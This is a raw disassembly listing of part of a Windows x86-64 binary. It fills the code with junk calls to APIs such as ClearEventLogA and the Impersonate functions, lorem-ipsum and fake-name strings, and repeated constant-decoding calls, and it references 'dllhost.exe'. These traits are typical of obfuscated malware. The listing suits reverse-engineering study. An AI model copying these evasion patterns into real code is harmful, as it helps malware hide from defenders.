mov dword [rax], edx
mov rax, qword [0x004cbbe0]
mov dword [rax], 0x80d7790c
call r14
mov rax, qword [0x004cc380]
mov dword [rax], 0x6dfea81e
mov rax, qword [0x004cbd90]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc4a0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbx
mov rbx, qword [0x004cc300]
mov rdx, qword [0x004cbbd0]
xor ecx, ecx
mov eax, dword [rbx]
mov dword [rdx], eax
call rdi
mov rax, qword [0x004cbbd0]
mov rdx, qword [0x004cbdc0]
mov ecx, 0xf329d5f5
mov eax, dword [rax]
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cc1e0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x30]
call rax
xor ecx, ecx
call r14
mov ecx, 0x353afb42
call fcn.00413350
mov rdx, qword [0x004cc4c0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc360]
mov edx, dword [rax]
mov rax, qword [0x004cbe10]
mov dword [rax], edx
mov rax, qword [rsp + 0x28]
call rax
xor ecx, ecx
call r15
xor ecx, ecx
call rsi
mov rax, qword [0x004cc080]
mov rdx, qword [0x004cc4a0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
call r15
mov rax, qword [0x004cbcb0]
mov dword [rbx], 0xa10b570e
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbd80]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x28]
call rax
mov rax, qword [0x004cc060]
xor edx, edx
mov dword [rbx], 0x282b6595
lea rcx, str.MissVickyKulas
mov dword [rax], 0x8c298cc4
mov rax, qword [0x004cc390]
mov dword [rax], 0x9c2df5b0
call rbp
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r13
xor edx, edx
xor ecx, ecx
call r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
mov rax, qword [0x004cbdd0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbea0]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x20]
call rax
xor edx, edx
lea rcx, str.Qui_minus_delectus_quis
call rbp
xor ecx, ecx
mov rax, qword [rsp + 0x30]
call rax
mov rax, qword [0x004cbe00]
mov ecx, dword [rax]
call fcn.00413350
mov rbx, qword [0x004cbd80]
xor edx, edx
xor ecx, ecx
mov dword [rbx], eax
mov rax, qword [0x004cbd70]
mov dword [rax], 0xabcb6aca
mov rax, qword [rsp + 0x20]
call rax
mov rax, qword [0x004cbd10]
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbd60]
mov dword [rax], edx
xor edx, edx
call r13
xor ecx, ecx
call rdi
xor ecx, ecx
mov rax, qword [rsp + 0x38]
call rax
mov ecx, 0xafc85841
call fcn.00413350
mov rdx, qword [0x004cc2d0]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r13
xor ecx, ecx
call rdi
xor ecx, ecx
call rsi
mov ecx, 0x426bd050
call fcn.00413350
mov rdx, qword [0x004cbe40]
mov rbx, qword [0x004cbc30]
xor ecx, ecx
mov dword [rdx], eax
mov rdx, qword [0x004cc490]
mov eax, dword [rbx]
mov dword [rdx], eax
call r15
mov rax, qword [0x004cbda0]
xor ecx, ecx
mov dword [rax], 0x79222dd9
call r14
xor ecx, ecx
call rsi
xor ecx, ecx
mov dword [rbx], 0x728f5c23
mov rax, qword [rsp + 0x40]
call rax
mov r11, qword [rsp + 0x48]
lea rdx, str.LorenGerlach
lea rcx, str.Totam_vel_esse_voluptates
call r11
xor ecx, ecx
call rdi
mov rax, qword [0x004cbe70]
mov r10, qword [rsp + 0x50]
xor ecx, ecx
mov rdi, qword [0x004cc1e0]
lea rdx, str.JeramieNitzsche
mov eax, dword [rax]
mov dword [rdi], eax
call r10
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor ecx, ecx
call rsi
mov rax, qword [0x004cc070]
mov r9, qword [rsp + 0x58]
mov edx, dword [rax]
mov rax, qword [0x004cc3c0]
mov dword [rax], edx
inc r9
jmp 0x40b8e2
test eax, eax
je 0x40d044
mov rax, qword [0x004cc0b0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc4c0]
lea rcx, str.Velit_dicta_ipsum_labore_magni
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea rdx, str.NelsonMurazik
mov qword [rsp + 0x28], rax
call rax
mov rax, qword [0x004cc320]
mov r15, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbea0]
mov dword [rax], edx
call r15
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
mov qword [rsp + 0x30], rax
call rax
mov r13, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
call r13
mov rbx, qword [0x004cbe20]
xor edx, edx
xor ecx, ecx
mov rbp, qword [sym.imp.KERNEL32.dll_PurgeComm]
mov dword [rbx], 0x39511f51
call rbp
mov rax, qword [0x004cc210]
mov rsi, qword [0x004cbc40]
xor ecx, ecx
lea rdx, str.Et_omnis_et_maiores_sit
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [0x004cc450]
mov rsi, qword [0x004cc1b0]
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
mov qword [rsp + 0x20], rax
call rax
mov rax, qword [0x004cc190]
lea rdx, str.ProfMargretBoyle
xor ecx, ecx
mov dword [rax], 0xb4d9e907
mov rax, qword [rsp + 0x20]
call rax
mov ecx, 0xca784b35
call fcn.00413350
mov rdx, qword [0x004cbd70]
lea r8, str.ChazBoehm
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
mov qword [rsp + 0x38], rax
call rax
mov r14, qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
xor ecx, ecx
call r14
mov rax, qword [0x004cbe80]
xor edx, edx
xor ecx, ecx
mov rsi, qword [0x004cbbc0]
mov dword [rbx], 0x3071776b
mov eax, dword [rax]
mov rbx, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov dword [rsi], eax
call rbx
mov rax, qword [0x004cc180]
mov r10, qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc240]
mov qword [rsp + 0x68], r10
mov dword [rax], edx
call r10
mov rax, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov qword [rsp + 0x48], rax
call rax
mov rsi, qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
xor edx, edx
lea rcx, str.Vero_error_ipsum_enim_hic_nihil
call rsi
mov r9, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov qword [rsp + 0x60], r9
call r9
xor ecx, ecx
call r13
mov rdi, qword [0x004cbd20]
mov rax, qword [0x004cc070]
xor ecx, ecx
mov edx, dword [rdi]
mov dword [rax], edx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [0x004cc1f0]
mov rdx, qword [0x004cbc90]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call rbx
mov rax, qword [0x004cc0d0]
mov r8, qword [0x004cc4a0]
xor ecx, ecx
mov rdx, qword [0x004cc410]
mov r11, qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [rax]
mov qword [rsp + 0x50], r11
mov dword [rdx], eax
mov edx, dword [r8]
mov rax, qword [0x004cc150]
mov dword [rax], edx
mov rax, qword [0x004cc1c0]
mov dword [rax], 0x88a0b440
call r11
xor ecx, ecx
call r15
mov rax, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.Perspiciatis_aut_expedita_ut_vel_qui_accusamus_corrupti_voluptatibus_repudiandae_rem_earum_velit_officiis
lea rcx, str.Sed_cupiditate_architecto_quas_enim_eum_ipsa_officiis_consequatur_sunt_impedit_voluptates
mov qword [rsp + 0x40], rax
call rax
xor ecx, ecx
call r14
mov r12, qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
xor ecx, ecx
call r12
mov rax, qword [0x004cbed0]
mov rdx, qword [0x004cbcc0]
xor ecx, ecx
mov dword [rdi], 0x388c1d93
mov eax, dword [rax]
mov dword [rdx], eax
call r15
mov rax, qword [0x004cbc30]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
xor ecx, ecx
mov dword [rax], 0x9d9bfcc2
call rdi
mov rax, qword [0x004cc220]
mov r8, qword [0x004cc4a0]
mov ecx, 0x68aa8280
mov eax, dword [rax]
mov dword [r8], eax
call fcn.00413350
mov rdx, qword [0x004cc2e0]
mov ecx, 0x402d412c
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cbbc0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbp
xor ecx, ecx
mov rax, qword [rsp + 0x30]
call rax
xor edx, edx
lea rcx, str.Aut_rem_quos_inventore_placeat_et_cumque_rerum
call rsi
xor ecx, ecx
call r14
lea rdx, str.Mollitia_voluptatum_quis_numquam_et_sint
lea rcx, str.Omnis_beatae_nam_aut_dolores
mov rax, qword [rsp + 0x28]
call rax
xor edx, edx
xor ecx, ecx
call rbx
xor ecx, ecx
call r12
mov rax, qword [0x004cbe60]
xor edx, edx
lea rcx, str.ProfAliviaStehrDDS
mov dword [rax], 0xb0ebb8d
call rsi
xor ecx, ecx
call r15
mov r15, qword [0x004cbd10]
lea rdx, str.Architecto_doloremque_cupiditate_perspiciatis_cupiditate_laudantium_harum_odit_est_aut_sed
lea rcx, str.Qui_a_maxime_neque
mov rax, qword [rsp + 0x40]
mov dword [r15], 0xefbe036f
call rax
xor edx, edx
xor ecx, ecx
call rbp
mov rax, qword [0x004cc1a0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc190]
lea rcx, str.Voluptates_nam_iste_maiores
mov dword [rdx], eax
lea rdx, str.Et_architecto_quaerat_provident_omnis_facilis
mov rax, qword [rsp + 0x40]
call rax
xor ecx, ecx
call r12
mov rax, qword [0x004cc420]
xor ecx, ecx
mov eax, dword [rax]
mov dword [r15], eax
call r12
xor ecx, ecx
call rdi
mov rax, qword [0x004cbba0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc3c0]
xor ecx, ecx
mov dword [rdx], eax
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
xor ecx, ecx
mov rax, qword [rsp + 0x30]
call rax
mov rax, qword [0x004cbd90]
mov ecx, 0x9ff3d722
mov dword [rax], 0xed59875d
call fcn.00413350
mov rdx, qword [0x004cbbf0]
lea rcx, str.MrDomenicJohns
mov dword [rdx], eax
xor edx, edx
call rsi
lea r8, str.Officiis_qui_eum_ut_totam_beatae_eum
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x38]
call rax
mov rax, qword [0x004cbc90]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc410]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc490]
mov rdx, qword [0x004cc1c0]
mov dword [rax], 0x14107f98
mov rax, qword [0x004cc1b0]
mov eax, dword [rax]
mov dword [rdx], eax
call r13
xor ecx, ecx
call r12
xor ecx, ecx
lea rdx, str.RolandoTorphy
mov rax, qword [rsp + 0x20]
call rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov r15, qword [0x004cc460]
mov rdx, qword [0x004cc320]
lea rcx, str.JocelynSchimmel
mov eax, dword [r15]
mov dword [rdx], eax
lea rdx, str.Ad_in_dignissimos_et_qui_eaque
mov rax, qword [rsp + 0x28]
call rax
mov rax, qword [0x004cc300]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x1d52d6ad
call rbp
mov ecx, 0x39bbb210
call fcn.00413350
mov rdx, qword [0x004cbd90]
xor ecx, ecx
mov dword [rdx], eax
call r14
mov rax, qword [0x004cbce0]
mov r14, qword [0x004cbc10]
mov rdx, qword [0x004cc0d0]
mov r12, qword [0x004cbe10]
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [r14]
mov dword [r12], eax
mov rax, qword [0x004cbdc0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc1c0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbx
mov rax, qword [0x004cbd80]
mov rdx, qword [0x004cbc40]
mov eax, dword [rax]
mov dword [r14], eax
mov rax, qword [0x004cbe60]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cbd60]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbde0]
mov ecx, 0x39500fd
mov dword [rdx], eax
mov rax, qword [0x004cbe40]
mov rdx, qword [0x004cc410]
mov eax, dword [rax]
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cc3f0]
mov dword [rdx], eax
mov rax, qword [0x004cc490]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbcc0]
mov ecx, 0x45b10334
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cbd50]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cbd30]
mov edx, dword [rax]
mov rax, qword [0x004cbdd0]
mov dword [rax], edx
xor edx, edx
call rbx
mov ecx, 0x80ea9930
call fcn.00413350
mov dword [r12], eax
mov rax, qword [0x004cc320]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc430]
xor ecx, ecx
mov dword [rdx], eax
call r13
xor ecx, ecx
call rdi
mov rax, qword [0x004cc1b0]
mov rdx, qword [0x004cc450]
xor ecx, ecx
lea r8, str.DestiniPacochaPhD
mov dword [rax], 0xf6a1c821
mov rax, qword [0x004cc170]
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x38]
call rax
mov r11, qword [rsp + 0x50]
xor ecx, ecx
mov qword [rsp + 0x58], r11
call r11
xor edx, edx
xor ecx, ecx
call rbx
mov r13, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r13
mov rax, qword [0x004cbdc0]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xccbe9716
call r13
xor edx, edx
lea rcx, str.Doloribus_dignissimos_consequuntur
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov r10, qword [rsp + 0x68]
xor ecx, ecx
mov qword [rsp + 0x50], r10
call r10
xor edx, edx
xor ecx, ecx
call rbx
mov r13, qword [0x004cbdb0]
xor edx, edx
lea rcx, str.Nesciunt_ab_a_quis_voluptatem_sint_rerum
mov dword [r13], 0xde455a5c
call rsi
mov ecx, dword [r13]
call fcn.00413350
mov rdx, qword [0x004cc3c0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x48]
call rax
mov ecx, 0xb5d5e3d0
call fcn.00413350
xor ecx, ecx
mov r9, qword [rsp + 0x60]
mov dword [r15], eax
call r9
mov rax, qword [0x004cbe30]
xor ecx, ecx
mov dword [rax], 0xedc34a5c
call rdi
mov r10, qword [rsp + 0x50]
xor ecx, ecx
call r10
xor ecx, ecx
call rdi
lea rdx, str.KiaraHaley
lea rcx, str.EulaStammDVM
mov rax, qword [rsp + 0x28]
call rax
lea r8, str.MsEloiseTremblayIII
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x38]
call rax
xor ecx, ecx
lea rdx, str.ProfArjunTorphy
mov rax, qword [rsp + 0x20]
call rax
xor edx, edx
xor ecx, ecx
call rbp
mov ecx, 0x143af70f
call fcn.00413350
mov rdx, qword [0x004cc3a0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x48]
call rax
xor edx, edx
lea rcx, str.Et_voluptate_molestiae_ipsa_et_perferendis_sit_ut_sunt_amet
mov dword [r14], 0xd58c7d8
call rsi
mov r13, qword [0x004cc330]
mov rax, qword [0x004cbcd0]
mov edx, dword [r13]
mov dword [rax], edx
mov rax, qword [0x004cbbd0]
mov rdx, qword [0x004cc1d0]
mov ecx, dword [rax]
mov dword [rax], 0xe6a21648
mov rax, qword [rsp + 0x20]
mov dword [rdx], ecx
lea rdx, str.Repellat_veritatis_alias_ea_suscipit_consequatur
xor ecx, ecx
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x30]
call rax
mov edx, dword [r13]
mov rax, qword [0x004cc440]
lea rcx, str.Inventore_reiciendis_voluptas_animi_dolorem_tempore_ea_tenetur_rerum_eos
mov dword [rax], edx
xor edx, edx
call rsi
mov ecx, 0xcbe02d86
call fcn.00413350
mov rsi, qword [0x004cc220]
mov ecx, dword [r12]
mov dword [rsi], eax
mov rax, qword [0x004cc120]
mov dword [rax], 0x148a0c76
call fcn.00413350
mov rdx, qword [0x004cc080]
mov dword [rdx], eax
mov rax, qword [0x004cc490]
mov dword [rax], 0x231ea5e4
mov rax, qword [0x004cbca0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbc50]
mov ecx, 0xd30c8003
mov dword [rdx], eax
call fcn.00413350
mov rsi, qword [0x004cc450]
mov ecx, 0xf363b0b8
mov dword [rsi], eax
call fcn.00413350
mov ecx, 0x13b65a97
mov dword [r15], eax
call fcn.00413350
mov rdx, qword [0x004cc3d0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbp
xor edx, edx
xor ecx, ecx
call rbx
lea rdx, str.WarrenGulgowski
lea rcx, str.ElsaSchillerIII
mov rax, qword [rsp + 0x40]
call rax
mov rax, qword [0x004cc3b0]
mov r11, qword [rsp + 0x58]
xor ecx, ecx
mov rsi, qword [0x004cbc30]
mov dword [rax], 0xd41e76d0
mov rax, qword [0x004cbc70]
mov eax, dword [rax]
mov dword [rsi], eax
call r11
mov rax, qword [0x004cc2d0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc100]
mov dword [rax], edx
call rdi
mov rax, qword [0x004cc1f0]
mov rdi, qword [0x004cbcc0]
mov dword [r12], 0x945d768e
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004cbd50]
mov dword [rax], 0xf8ffc7e2
mov rax, qword [0x004cc090]
mov dword [rax], 0xa42888a6
mov edx, dword [rsp + 0xc8]
mov rcx, qword [rsp + 0xc0]
lea r8, str.dllhost.exe
call fcn.00405371
mov rax, qword [0x004cc250]
cmp dword [rax], 0x1ac3
jne 0x40d5c3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rax, qword [0x004cbd40]
xor ecx, ecx
mov dword [rax], 0x58c5f145
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x004cbd00]
mov rdi, qword [0x004cc370]
mov dword [rax], 0xc8f4c2dc
mov rax, qword [0x004cbe40]
mov dword [rax], 0x963fc701
mov rax, qword [0x004cc2d0]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004cc410]
mov ecx, dword [rax]
call fcn.00413350
mov rsi, qword [0x004cc220]
mov rdi, qword [0x004cbdc0]
mov ecx, dword [rsi]
mov dword [rdi], eax
call fcn.00413350
mov rbx, qword [0x004cc420]
mov ecx, 0xb7b18f94
mov dword [rbx], eax
mov rbx, qword [0x004cc400]
mov dword [rbx], 0x4bf83ba4
call fcn.00413350
lea rdx, str.Molestiae_tempora_consequatur_fuga_ea_accusamus_cumque_ut_qui_molestias_aliquam
lea rcx, str.Et_impedit_officia_est_est_omnis_vero_et
mov dword [rsi], eax
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov edx, dword [rbx]
mov rax, qword [0x004cc360]
mov dword [rax], edx
mov rax, qword [0x004cbe60]
mov ecx, dword [rax]
call fcn.00413350
mov rdi, qword [0x004cbcc0]
mov rsi, qword [0x004cbbc0]
lea rdx, str.WaylonBosco
mov r9, qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea rcx, str.Quam_sunt_cupiditate
mov dword [rdi], eax
mov rax, qword [0x004cc190]
mov qword [rsp + 0x20], r9
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [0x004cc310]
mov dword [rax], 0x32ddf99
call r9
xor edx, edx
mov r15, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
xor ecx, ecx
call r15
mov rax, qword [0x004cbc50]
mov ecx, dword [rax]
call fcn.00413350
mov rbx, qword [0x004cbc40]
mov r13, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
mov dword [rbx], eax
call r13
xor edx, edx
xor ecx, ecx
call r15
mov rbp, qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
xor ecx, ecx
call rbp
xor ecx, ecx
call rbp
mov rbx, qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
xor ecx, ecx
call rbx
mov rsi, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
call rsi
lea r8, str.Molestias_consectetur_dolor_aut
xor edx, edx
xor ecx, ecx
mov r12, qword [sym.imp.KERNEL32.dll_OpenEventA]
call r12
mov rax, qword [0x004cbcd0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbd70]
mov dword [rax], edx
call rsi
xor ecx, ecx
call rbp
mov rax, qword [0x004cc100]
xor edx, edx
xor ecx, ecx
lea r8, str.Fugit_quo_maxime_qui
mov dword [rax], 0x88aaebe1
call r12
mov rax, qword [0x004cc4c0]
xor edx, edx
xor ecx, ecx
mov r14, qword [sym.imp.KERNEL32.dll_PurgeComm]
mov dword [rax], 0xc8b7f21c
mov rax, qword [0x004cc180]
mov dword [rax], 0x6ec45b84
mov rax, qword [0x004cc060]
mov dword [rax], 0xaba44155
call r14
mov rax, qword [0x004cbc70]
mov rdx, qword [0x004cbed0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
call rbx
xor edx, edx
xor ecx, ecx
call r14
mov rbp, qword [0x004cc210]
mov rax, qword [0x004cc4a0]
mov dword [rdi], 0xb0cba690
mov edx, dword [rbp]
mov dword [rax], edx
mov rax, qword [0x004cc240]
mov dword [rax], 0xc4d9928e
mov rax, qword [0x004cbeb0]
mov edx, dword [rax]
mov rax, qword [0x004cbe30]
mov dword [rax], edx
mov rax, qword [0x004cc080]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc350]
mov rdi, qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
xor ecx, ecx
mov dword [rdx], eax
call rdi
mov rax, qword [0x004cc230]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xd77ebe00
call r15
mov rax, qword [0x004cc120]
mov ecx, dword [rax]
call fcn.00413350
mov rcx, qword [0x004cbd40]
mov rdx, qword [0x004cbd00]
mov dword [rcx], eax
mov eax, dword [rbp]
xor ecx, ecx
mov dword [rdx], eax
call rsi
xor edx, edx
xor ecx, ecx
call r14
xor ecx, ecx
call rdi
xor ecx, ecx
call rdi
mov rax, qword [0x004cc370]
mov rdi, qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
xor edx, edx
lea rcx, str.MrDonatoKoelpin
mov dword [rax], 0x933f26c7
call rdi
mov rax, qword [0x004cc080]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbd10]
lea rcx, str.ProfJoshWiegand
mov dword [rdx], eax
mov rax, qword [0x004cc310]
xor edx, edx
mov dword [rax], 0x860bb22c
call rdi
xor edx, edx
mov r14, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea rcx, str.ReeceSchmeler
call r14
mov rax, qword [0x004cc240]
mov ecx, dword [rax]
call fcn.00413350
mov rcx, qword [0x004cbbe0]
mov dword [rcx], eax
xor ecx, ecx
call rbx
xor edx, edx
lea rcx, str.AlvisAbernathy
call r14
xor ecx, ecx
call rbx
mov rax, qword [0x004cbc90]
xor ecx, ecx
mov dword [rax], 0xcac0253b
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
call rbx
mov rax, qword [0x004cc150]
mov r9, qword [rsp + 0x20]
lea rdx, str.MrsDarbyHuelsMD
lea rcx, str.At_perspiciatis_cupiditate_recusandae_illum_eum
mov dword [rax], 0x5793b3f1
call r9
mov rax, qword [0x004cc3d0]
mov ecx, 0xd1e8e071
mov edx, dword [rax]
mov rax, qword [0x004cc110]
mov dword [rax], edx
call fcn.00413350
mov r15, qword [0x004cc4d0]
xor ecx, ecx
mov dword [r15], eax
call r13
mov rax, qword [0x004cbe60]
mov ecx, dword [rax]
call fcn.00413350
mov rbx, qword [0x004cc490]
mov r14, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor ecx, ecx
mov dword [rbx], eax
mov rax, qword [0x004cbed0]
mov dword [rax], 0x17779837
mov rax, qword [0x004cbbd0]
mov edx, dword [rax]
mov rax, qword [0x004cc380]
mov dword [rax], edx
mov rax, qword [0x004cbd20]
mov edx, dword [rax]
mov rax, qword [str._mf]
mov dword [rax], edx
xor edx, edx
call r14
mov rax, qword [0x004cbc40]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x8266001e
call r14
mov ecx, 0xc90ed2de
call fcn.00413350
mov rdx, qword [0x004cc420]
xor ecx, ecx
mov dword [rdx], eax
call qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [0x004cc080]
mov ecx, dword [rax]
call fcn.00413350
mov rcx, qword [0x004cc230]
mov dword [rcx], eax
mov rax, qword [0x004cc460]
xor ecx, ecx
mov dword [rax], 0xf5e3d35c
call r13
lea r8, str.AmandaLeannon
xor edx, edx
xor ecx, ecx
call r12
mov ecx, dword [rbp]
call fcn.00413350
mov ecx, 0x349b2094
mov dword [r15], eax
call fcn.00413350
mov rdx, qword [0x004cbdc0]
mov ecx, 0xa4790503
mov dword [rdx], eax
call fcn.00413350
mov rcx, qword [0x004cbe60]
mov dword [rcx], eax
xor ecx, ecx
call rsi
xor edx, edx
lea rcx, str.EarnestRenner
call rdi
mov ecx, 0x835ada50
call fcn.00413350
mov rdx, qword [0x004cbce0]
mov dword [rdx], eax
mov rax, qword [0x004cbd90]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc300]
mov rdi, qword [0x004cbbc0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cbe90]
mov dword [rax], 0x9500a74d
mov rax, qword [0x004cc1f0]
mov edx, dword [rax]
mov rax, qword [0x004cc1d0]
mov dword [rax], edx
mov rax, qword [0x004cbbf0]
mov edx, dword [rbx]
mov rbx, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004cc050]
mov dword [rax], edx
lea rdx, str.Assumenda_nobis_nobis_aut_laudantium_esse_voluptatibus_minima_est_non
call rbx
lea rdx, str.Consequatur_ea_pariatur_ipsum_ducimus_quae_eos_amet_rerum
xor ecx, ecx
call rbx
mov rax, qword [0x004cc450]
mov ecx, dword [rax]
call fcn.00413350
mov rdi, qword [0x004cbbe0]
xor edx, edx
xor ecx, ecx
xor r8d, r8d
mov dword [rdi], eax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor edx, edx
xor ecx, ecx
call r14
mov rax, qword [0x004cc100]
mov dword [rax], 0x17aec450
add rsp, 0x78
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret